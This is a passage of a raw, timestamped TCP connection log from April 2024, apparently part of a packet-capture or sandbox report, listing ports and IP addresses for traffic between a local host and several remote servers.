Apr 23, 2024 23:02:10.493135929 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493145943 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493163109 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493164062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493185997 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493202925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493207932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493221045 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493241072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493244886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493263960 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493283033 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493299961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493316889 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493321896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493321896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493336916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493351936 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493360996 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493370056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493391037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493408918 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493426085 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493437052 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493443012 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493438005 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493462086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493478060 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493480921 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493499994 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493511915 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493516922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493535995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493536949 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493552923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493571043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493587017 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493592024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493611097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493613005 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493628979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493645906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493664026 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493681908 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493691921 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493691921 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493701935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493720055 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493725061 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493737936 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493751049 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493756056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493774891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493791103 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493796110 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493808031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493825912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493829966 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493844032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493861914 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493861914 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493880033 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493897915 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493916035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493917942 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493933916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493943930 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.493952990 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493969917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.493988037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.494004965 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.494024038 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.494033098 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.494033098 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.494043112 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.494045019 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.494062901 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.494080067 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.494105101 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.494124889 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.504633904 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.534445047 CEST	39001	49739	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.534555912 CEST	49739	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.543189049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.543230057 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.543270111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.543364048 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.589366913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.609967947 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610009909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610043049 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610047102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610085011 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610126019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610131025 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610167027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610171080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610205889 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610244989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610301971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610331059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610338926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610341072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610394955 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610431910 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610447884 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610470057 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610506058 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610543013 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610562086 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610582113 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610596895 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610620022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610657930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610694885 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610734940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.610740900 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.610740900 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.612864017 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.613023996 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.703432083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703475952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703588009 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.703653097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703691006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703727961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703767061 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703803062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703840017 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703876972 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703880072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.703880072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.703880072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.703915119 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703954935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.703991890 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.704011917 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.704027891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.704056978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.704066992 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.704118967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.704171896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705023050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705081940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705105066 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705120087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705157042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705178022 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705193996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705229998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705248117 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705267906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705305099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705319881 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705343008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705383062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705420971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705439091 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705459118 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705477953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705497026 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705534935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705574989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705585957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705612898 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705627918 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705650091 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705687046 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705737114 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705745935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705784082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705795050 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705821037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705858946 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705872059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.705897093 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705934048 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705970049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.705982924 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706006050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706022024 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706043959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706079006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706115961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706132889 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706154108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706170082 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706192970 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706228971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706264973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706284046 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706301928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706314087 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706341028 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706377983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706414938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706429958 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706453085 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706490993 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706490993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706537962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706552029 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706578016 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706617117 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706640005 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.706655025 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706692934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.706731081 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.760826111 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.776932955 CEST	39001	49739	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.823306084 CEST	49739	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.826910019 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.837022066 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:11.035008907 CEST	39001	49739	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:11.035665989 CEST	49739	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:11.048365116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:11.048520088 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:11.048589945 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:11.246848106 CEST	39001	49739	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:11.247026920 CEST	39001	49739	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:11.248572111 CEST	49739	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:11.572010040 CEST	49741	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:11.783149958 CEST	39001	49741	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:11.783258915 CEST	49741	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:16.036315918 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.036355019 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.036413908 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.037702084 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.037781954 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.037846088 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.038877964 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.038891077 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.039614916 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.039665937 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.263212919 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.271692991 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.379410028 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.379441977 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.607755899 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.607784986 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.608155966 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.608227968 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.609581947 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.609594107 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.609637022 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.612057924 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.612088919 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.612147093 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.685985088 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.820458889 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.820543051 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.820614100 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.848221064 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.848263979 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.852061987 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.852108002 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.852355003 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.852941990 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.852989912 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.853075027 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.864196062 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.864363909 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.864573002 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.864587069 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.864703894 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.864721060 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.865189075 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.865509987 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.866192102 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.866204023 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.866276026 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:16.866292953 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:16.927541971 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:16.927582026 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:16.927643061 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:16.927787066 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:16.927872896 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:16.960095882 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:16.960123062 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:16.960186958 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:16.960406065 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:16.960445881 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:16.960505962 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:16.960865021 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:16.960875988 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:16.961005926 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:16.961026907 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.066543102 CEST	49765	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:17.066589117 CEST	443	49765	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:17.066664934 CEST	49765	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:17.071758032 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.072361946 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.072385073 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.075887918 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.075969934 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.080133915 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.080194950 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.081198931 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.081268072 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.085812092 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.087645054 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.088207960 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.088309050 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.088745117 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.101233006 CEST	49765	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:17.101263046 CEST	443	49765	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:17.115336895 CEST	49753	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.115355015 CEST	443	49753	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.124741077 CEST	49751	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.124766111 CEST	443	49751	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.125067949 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.125102997 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.125401020 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.125412941 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.125669003 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.125957012 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.127461910 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.127553940 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.129017115 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.129136086 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.129172087 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.129204988 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.129323959 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.129414082 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.130337954 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.130424023 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.130429983 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.130501986 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.163273096 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.173620939 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.173638105 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.174375057 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.174443007 CEST	49761	443	192.168.2.4	172.253.124.132
